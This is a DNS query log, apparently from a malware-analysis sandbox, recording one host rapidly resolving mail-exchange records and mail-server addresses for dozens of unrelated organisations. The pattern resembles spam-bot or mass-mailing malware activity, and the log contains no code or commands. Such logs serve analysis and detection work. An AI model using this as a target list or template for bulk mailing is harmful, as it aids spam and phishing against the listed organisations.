Aug 24, 2023 19:04:19.799266100 CEST	8.8.8.8	192.168.2.8	0x5dd3	No error (0)	live-com.olc.protection.outlook.com		104.47.30.97	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.835304022 CEST	8.8.8.8	192.168.2.8	0x895	No error (0)	faithgroupllc-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.835304022 CEST	8.8.8.8	192.168.2.8	0x895	No error (0)	faithgroupllc-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.848798990 CEST	8.8.8.8	192.168.2.8	0x9f8e	No error (0)	webtv.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.925471067 CEST	8.8.8.8	192.168.2.8	0x6b57	No error (0)	accragolf.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.925471067 CEST	8.8.8.8	192.168.2.8	0x6b57	No error (0)	accragolf.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.925471067 CEST	8.8.8.8	192.168.2.8	0x6b57	No error (0)	accragolf.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.925471067 CEST	8.8.8.8	192.168.2.8	0x6b57	No error (0)	accragolf.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.925471067 CEST	8.8.8.8	192.168.2.8	0x6b57	No error (0)	accragolf.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.023611069 CEST	8.8.8.8	192.168.2.8	0x445f	No error (0)	essar.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.051327944 CEST	8.8.8.8	192.168.2.8	0xc843	No error (0)	mail1.uae.scanscope.net		40.119.164.85	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.099033117 CEST	8.8.8.8	192.168.2.8	0xd5e3	No error (0)	apotex.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.145723104 CEST	8.8.8.8	192.168.2.8	0x6146	No error (0)	mx1.hc212-78.ca.iphmx.com		216.71.129.239	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.145723104 CEST	8.8.8.8	192.168.2.8	0x6146	No error (0)	mx1.hc212-78.ca.iphmx.com		216.71.133.116	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.145723104 CEST	8.8.8.8	192.168.2.8	0x6146	No error (0)	mx1.hc212-78.ca.iphmx.com		216.71.133.115	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.145723104 CEST	8.8.8.8	192.168.2.8	0x6146	No error (0)	mx1.hc212-78.ca.iphmx.com		216.71.129.238	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.402331114 CEST	8.8.8.8	192.168.2.8	0x2f39	No error (0)	chrysalis-hr.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.402331114 CEST	8.8.8.8	192.168.2.8	0x2f39	No error (0)	chrysalis-hr.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.438297987 CEST	8.8.8.8	192.168.2.8	0x4a6	No error (0)	mx1.privateemail.com		198.54.122.240	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.506177902 CEST	8.8.8.8	192.168.2.8	0x24df	No error (0)	jqh.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.543356895 CEST	8.8.8.8	192.168.2.8	0x1d1c	No error (0)	jqh-com.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.543356895 CEST	8.8.8.8	192.168.2.8	0x1d1c	No error (0)	jqh-com.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.543356895 CEST	8.8.8.8	192.168.2.8	0x1d1c	No error (0)	jqh-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.543356895 CEST	8.8.8.8	192.168.2.8	0x1d1c	No error (0)	jqh-com.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.543356895 CEST	8.8.8.8	192.168.2.8	0x1d1c	No error (0)	jqh-com.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.543356895 CEST	8.8.8.8	192.168.2.8	0x1d1c	No error (0)	jqh-com.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.543356895 CEST	8.8.8.8	192.168.2.8	0x1d1c	No error (0)	jqh-com.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.543356895 CEST	8.8.8.8	192.168.2.8	0x1d1c	No error (0)	jqh-com.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.543356895 CEST	8.8.8.8	192.168.2.8	0x1d1c	No error (0)	jqh-com.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.680073023 CEST	8.8.8.8	192.168.2.8	0x9bc8	No error (0)	cgocable.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.680073023 CEST	8.8.8.8	192.168.2.8	0x9bc8	No error (0)	cgocable.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.687447071 CEST	8.8.8.8	192.168.2.8	0x16c4	No error (0)	cybermesa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.771764994 CEST	8.8.8.8	192.168.2.8	0x4932	No error (0)	orilliapronet.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.771764994 CEST	8.8.8.8	192.168.2.8	0x4932	No error (0)	orilliapronet.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.771764994 CEST	8.8.8.8	192.168.2.8	0x4932	No error (0)	orilliapronet.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.775504112 CEST	8.8.8.8	192.168.2.8	0x63a2	No error (0)	abledentalgroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.810017109 CEST	8.8.8.8	192.168.2.8	0xba07	No error (0)	mx3.cgocable.ca		129.158.33.68	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.811752081 CEST	8.8.8.8	192.168.2.8	0x3380	No error (0)	abledentalgroup-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.811752081 CEST	8.8.8.8	192.168.2.8	0x3380	No error (0)	abledentalgroup-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.886873007 CEST	8.8.8.8	192.168.2.8	0xb0c	No error (0)	mx-in-1.cybermesa.com		65.19.2.61	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.916783094 CEST	8.8.8.8	192.168.2.8	0x5e34	No error (0)	mx1c1.megamailservers.com		69.49.103.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:20.996331930 CEST	8.8.8.8	192.168.2.8	0x2c79	No error (0)	kingstoncanada.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:20.996331930 CEST	8.8.8.8	192.168.2.8	0x2c79	No error (0)	kingstoncanada.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.027241945 CEST	8.8.8.8	192.168.2.8	0x235c	No error (0)	d194283a.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.027241945 CEST	8.8.8.8	192.168.2.8	0x235c	No error (0)	d194283a.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.027241945 CEST	8.8.8.8	192.168.2.8	0x235c	No error (0)	d194283a.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.163213015 CEST	8.8.8.8	192.168.2.8	0x45b4	No error (0)	dv8wear.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.197962046 CEST	8.8.8.8	192.168.2.8	0x7e25	No error (0)	mx.dv8wear.com		52.18.59.124	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.399353027 CEST	8.8.8.8	192.168.2.8	0x2b52	No error (0)	grouperesistance.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.447653055 CEST	8.8.8.8	192.168.2.8	0xb301	No error (0)	lnf-com.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.447653055 CEST	8.8.8.8	192.168.2.8	0xb301	No error (0)	lnf-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.460887909 CEST	8.8.8.8	192.168.2.8	0x72fc	No error (0)	grouperesistance-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.460887909 CEST	8.8.8.8	192.168.2.8	0x72fc	No error (0)	grouperesistance-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.856067896 CEST	8.8.8.8	192.168.2.8	0x780	No error (0)	daveandlisa.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.856067896 CEST	8.8.8.8	192.168.2.8	0x780	No error (0)	daveandlisa.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.891592026 CEST	8.8.8.8	192.168.2.8	0x1f62	No error (0)	mx001.netsol.xion.oxcs.net		135.148.130.75	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:21.969166994 CEST	8.8.8.8	192.168.2.8	0xe576	No error (0)	kifkifimport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.969166994 CEST	8.8.8.8	192.168.2.8	0xe576	No error (0)	kifkifimport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.969166994 CEST	8.8.8.8	192.168.2.8	0xe576	No error (0)	kifkifimport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.969166994 CEST	8.8.8.8	192.168.2.8	0xe576	No error (0)	kifkifimport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:21.969166994 CEST	8.8.8.8	192.168.2.8	0xe576	No error (0)	kifkifimport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.019901037 CEST	8.8.8.8	192.168.2.8	0x8c98	No error (0)	impulsebdltd.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.019901037 CEST	8.8.8.8	192.168.2.8	0x8c98	No error (0)	impulsebdltd.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.019901037 CEST	8.8.8.8	192.168.2.8	0x8c98	No error (0)	impulsebdltd.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.019901037 CEST	8.8.8.8	192.168.2.8	0x8c98	No error (0)	impulsebdltd.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.051417112 CEST	8.8.8.8	192.168.2.8	0x2891	Name error (3)	amarumendez.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.176141024 CEST	8.8.8.8	192.168.2.8	0x1049	No error (0)	impulsebdltd-com.p10.spamhero.com		108.166.161.243	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.176141024 CEST	8.8.8.8	192.168.2.8	0x1049	No error (0)	impulsebdltd-com.p10.spamhero.com		209.41.68.240	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.218751907 CEST	8.8.8.8	192.168.2.8	0x5b6f	No error (0)	murphybattista.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.275650024 CEST	8.8.8.8	192.168.2.8	0x2e88	No error (0)	transalta.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.320646048 CEST	8.8.8.8	192.168.2.8	0x2156	No error (0)	transalta-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.320646048 CEST	8.8.8.8	192.168.2.8	0x2156	No error (0)	transalta-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.390964985 CEST	8.8.8.8	192.168.2.8	0x1476	No error (0)	murphybattista-com.mail.eo.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.390964985 CEST	8.8.8.8	192.168.2.8	0x1476	No error (0)	murphybattista-com.mail.eo.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.459644079 CEST	8.8.8.8	192.168.2.8	0x1a24	No error (0)	vale.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.509588957 CEST	8.8.8.8	192.168.2.8	0x2f24	No error (0)	vale-com.mail.protection.outlook.com		104.47.58.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.509588957 CEST	8.8.8.8	192.168.2.8	0x2f24	No error (0)	vale-com.mail.protection.outlook.com		104.47.55.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:22.542330980 CEST	8.8.8.8	192.168.2.8	0xcf96	No error (0)	parklandhospital.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.660700083 CEST	8.8.8.8	192.168.2.8	0xb90e	No error (0)	iris.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.685605049 CEST	8.8.8.8	192.168.2.8	0x7207	No error (0)	getpgl.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:22.697453976 CEST	8.8.8.8	192.168.2.8	0x387	No error (0)	smtpin.iris.ca		208.111.94.108	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.043219090 CEST	8.8.8.8	192.168.2.8	0xe8b0	No error (0)	deluxe.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.078949928 CEST	8.8.8.8	192.168.2.8	0x234b	No error (0)	deluxe-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.078949928 CEST	8.8.8.8	192.168.2.8	0x234b	No error (0)	deluxe-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.140271902 CEST	8.8.8.8	192.168.2.8	0xb29a	No error (0)	adelphia.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.186281919 CEST	8.8.8.8	192.168.2.8	0x8f41	No error (0)	spi-s.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.204188108 CEST	8.8.8.8	192.168.2.8	0x9cff	No error (0)	adelphia-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.204188108 CEST	8.8.8.8	192.168.2.8	0x9cff	No error (0)	adelphia-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.223165989 CEST	8.8.8.8	192.168.2.8	0xb31e	No error (0)	spis-com0i.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.223165989 CEST	8.8.8.8	192.168.2.8	0xb31e	No error (0)	spis-com0i.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.565057039 CEST	8.8.8.8	192.168.2.8	0xd1f7	No error (0)	gasliquids.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.739056110 CEST	8.8.8.8	192.168.2.8	0xfbf9	No error (0)	gasliquids-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.739056110 CEST	8.8.8.8	192.168.2.8	0xfbf9	No error (0)	gasliquids-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.887927055 CEST	8.8.8.8	192.168.2.8	0x7d36	No error (0)	digitalbayllc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.887927055 CEST	8.8.8.8	192.168.2.8	0x7d36	No error (0)	digitalbayllc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.887927055 CEST	8.8.8.8	192.168.2.8	0x7d36	No error (0)	digitalbayllc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.887927055 CEST	8.8.8.8	192.168.2.8	0x7d36	No error (0)	digitalbayllc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.887927055 CEST	8.8.8.8	192.168.2.8	0x7d36	No error (0)	digitalbayllc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.896333933 CEST	8.8.8.8	192.168.2.8	0x6757	No error (0)	mxa-0028f601.gslb.pphosted.com		67.231.149.21	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:23.944920063 CEST	8.8.8.8	192.168.2.8	0x9f04	No error (0)	hbc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.944920063 CEST	8.8.8.8	192.168.2.8	0x9f04	No error (0)	hbc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:23.980417013 CEST	8.8.8.8	192.168.2.8	0x4e4a	No error (0)	smtp02.corphbc.com		209.85.202.27	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:24.085124016 CEST	8.8.8.8	192.168.2.8	0xbd16	Server failure (2)	truserv.ca	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.258160114 CEST	8.8.8.8	192.168.2.8	0x9fc8	No error (0)	linetamericas.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.296946049 CEST	8.8.8.8	192.168.2.8	0x7a75	No error (0)	linetamericas-com.mail.protection.outlook.com		104.47.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:24.296946049 CEST	8.8.8.8	192.168.2.8	0x7a75	No error (0)	linetamericas-com.mail.protection.outlook.com		104.47.11.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:24.416755915 CEST	8.8.8.8	192.168.2.8	0xc56b	No error (0)	cic.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.416755915 CEST	8.8.8.8	192.168.2.8	0xc56b	No error (0)	cic.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.416755915 CEST	8.8.8.8	192.168.2.8	0xc56b	No error (0)	cic.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.416755915 CEST	8.8.8.8	192.168.2.8	0xc56b	No error (0)	cic.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.416755915 CEST	8.8.8.8	192.168.2.8	0xc56b	No error (0)	cic.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.416755915 CEST	8.8.8.8	192.168.2.8	0xc56b	No error (0)	cic.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.553685904 CEST	8.8.8.8	192.168.2.8	0xfcd4	No error (0)	matrelaw.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.553685904 CEST	8.8.8.8	192.168.2.8	0xfcd4	No error (0)	matrelaw.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.553685904 CEST	8.8.8.8	192.168.2.8	0xfcd4	No error (0)	matrelaw.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.553685904 CEST	8.8.8.8	192.168.2.8	0xfcd4	No error (0)	matrelaw.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.553685904 CEST	8.8.8.8	192.168.2.8	0xfcd4	No error (0)	matrelaw.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.814878941 CEST	8.8.8.8	192.168.2.8	0x940a	No error (0)	mail1.cic.gc.ca		205.194.127.101	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:24.890403986 CEST	8.8.8.8	192.168.2.8	0xa3a3	No error (0)	durham.gov.uk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:24.939873934 CEST	8.8.8.8	192.168.2.8	0x2f96	No error (0)	durham-gov-uk.mail.protection.outlook.com		104.47.21.36	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:24.939873934 CEST	8.8.8.8	192.168.2.8	0x2f96	No error (0)	durham-gov-uk.mail.protection.outlook.com		104.47.20.36	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:24.998497009 CEST	8.8.8.8	192.168.2.8	0x1b57	No error (0)	cbe.ab.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:25.035042048 CEST	8.8.8.8	192.168.2.8	0xd706	No error (0)	cbe-ab-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.035042048 CEST	8.8.8.8	192.168.2.8	0xd706	No error (0)	cbe-ab-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.138796091 CEST	8.8.8.8	192.168.2.8	0x9e8f	No error (0)	mta6.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.138796091 CEST	8.8.8.8	192.168.2.8	0x9e8f	No error (0)	mta6.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.138796091 CEST	8.8.8.8	192.168.2.8	0x9e8f	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.138796091 CEST	8.8.8.8	192.168.2.8	0x9e8f	No error (0)	mta6.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.138796091 CEST	8.8.8.8	192.168.2.8	0x9e8f	No error (0)	mta6.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.138796091 CEST	8.8.8.8	192.168.2.8	0x9e8f	No error (0)	mta6.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.138796091 CEST	8.8.8.8	192.168.2.8	0x9e8f	No error (0)	mta6.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.138796091 CEST	8.8.8.8	192.168.2.8	0x9e8f	No error (0)	mta6.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:25.360596895 CEST	8.8.8.8	192.168.2.8	0x8d5f	No error (0)	hook-lafferty.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:25.360596895 CEST	8.8.8.8	192.168.2.8	0x8d5f	No error (0)	hook-lafferty.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:25.360596895 CEST	8.8.8.8	192.168.2.8	0x8d5f	No error (0)	hook-lafferty.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:25.360596895 CEST	8.8.8.8	192.168.2.8	0x8d5f	No error (0)	hook-lafferty.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:28.154337883 CEST	8.8.8.8	192.168.2.8	0x653e	No error (0)	philips-com.mail.protection.outlook.com		52.101.73.8	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.154337883 CEST	8.8.8.8	192.168.2.8	0x653e	No error (0)	philips-com.mail.protection.outlook.com		52.101.68.5	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.154337883 CEST	8.8.8.8	192.168.2.8	0x653e	No error (0)	philips-com.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.154337883 CEST	8.8.8.8	192.168.2.8	0x653e	No error (0)	philips-com.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.154337883 CEST	8.8.8.8	192.168.2.8	0x653e	No error (0)	philips-com.mail.protection.outlook.com		52.101.68.16	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.154337883 CEST	8.8.8.8	192.168.2.8	0x653e	No error (0)	philips-com.mail.protection.outlook.com		52.101.73.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.154337883 CEST	8.8.8.8	192.168.2.8	0x653e	No error (0)	philips-com.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.154337883 CEST	8.8.8.8	192.168.2.8	0x653e	No error (0)	philips-com.mail.protection.outlook.com		52.101.68.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.689831018 CEST	8.8.8.8	192.168.2.8	0x5aa4	No error (0)	msn-com.olc.protection.outlook.com		104.47.66.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.689831018 CEST	8.8.8.8	192.168.2.8	0x5aa4	No error (0)	msn-com.olc.protection.outlook.com		104.47.55.161	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:28.865102053 CEST	8.8.8.8	192.168.2.8	0xf359	No error (0)	slb.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:28.865102053 CEST	8.8.8.8	192.168.2.8	0xf359	No error (0)	slb.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:28.913146019 CEST	8.8.8.8	192.168.2.8	0x1a2f	No error (0)	emera.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:28.913146019 CEST	8.8.8.8	192.168.2.8	0x1a2f	No error (0)	emera.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.002563953 CEST	8.8.8.8	192.168.2.8	0xeb2c	No error (0)	mxa-00198502.gslb.pphosted.com		91.207.212.229	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.093318939 CEST	8.8.8.8	192.168.2.8	0xe48c	No error (0)	mxb-00384c01.gslb.pphosted.com		67.231.150.34	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.199698925 CEST	8.8.8.8	192.168.2.8	0x80a6	No error (0)	shw-central.mx.a.cloudfilter.net		3.96.81.40	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.199698925 CEST	8.8.8.8	192.168.2.8	0x80a6	No error (0)	shw-central.mx.a.cloudfilter.net		15.222.199.59	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.367073059 CEST	8.8.8.8	192.168.2.8	0xe84c	No error (0)	la.twcbc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.367073059 CEST	8.8.8.8	192.168.2.8	0xe84c	No error (0)	la.twcbc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.391908884 CEST	8.8.8.8	192.168.2.8	0xc7f7	No error (0)	pacbell.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.391908884 CEST	8.8.8.8	192.168.2.8	0xc7f7	No error (0)	pacbell.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.391908884 CEST	8.8.8.8	192.168.2.8	0xc7f7	No error (0)	pacbell.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.391908884 CEST	8.8.8.8	192.168.2.8	0xc7f7	No error (0)	pacbell.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.463102102 CEST	8.8.8.8	192.168.2.8	0xf13b	No error (0)	mevotech.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.508085012 CEST	8.8.8.8	192.168.2.8	0x9e44	No error (0)	mevotech-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.508085012 CEST	8.8.8.8	192.168.2.8	0x9e44	No error (0)	mevotech-com.mail.protection.outlook.com		104.47.74.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.519167900 CEST	8.8.8.8	192.168.2.8	0x3904	No error (0)	mx2.biz.rr.com		47.43.26.68	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.821484089 CEST	8.8.8.8	192.168.2.8	0x1f3c	No error (0)	dccnet.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.862648964 CEST	8.8.8.8	192.168.2.8	0x3717	No error (0)	mx.eastlink.ca		24.222.0.18	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.864943981 CEST	8.8.8.8	192.168.2.8	0xe849	No error (0)	google.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.914413929 CEST	8.8.8.8	192.168.2.8	0x3722	No error (0)	smtp.google.com		74.125.143.27	A (IP address)	IN (0x0001)	false
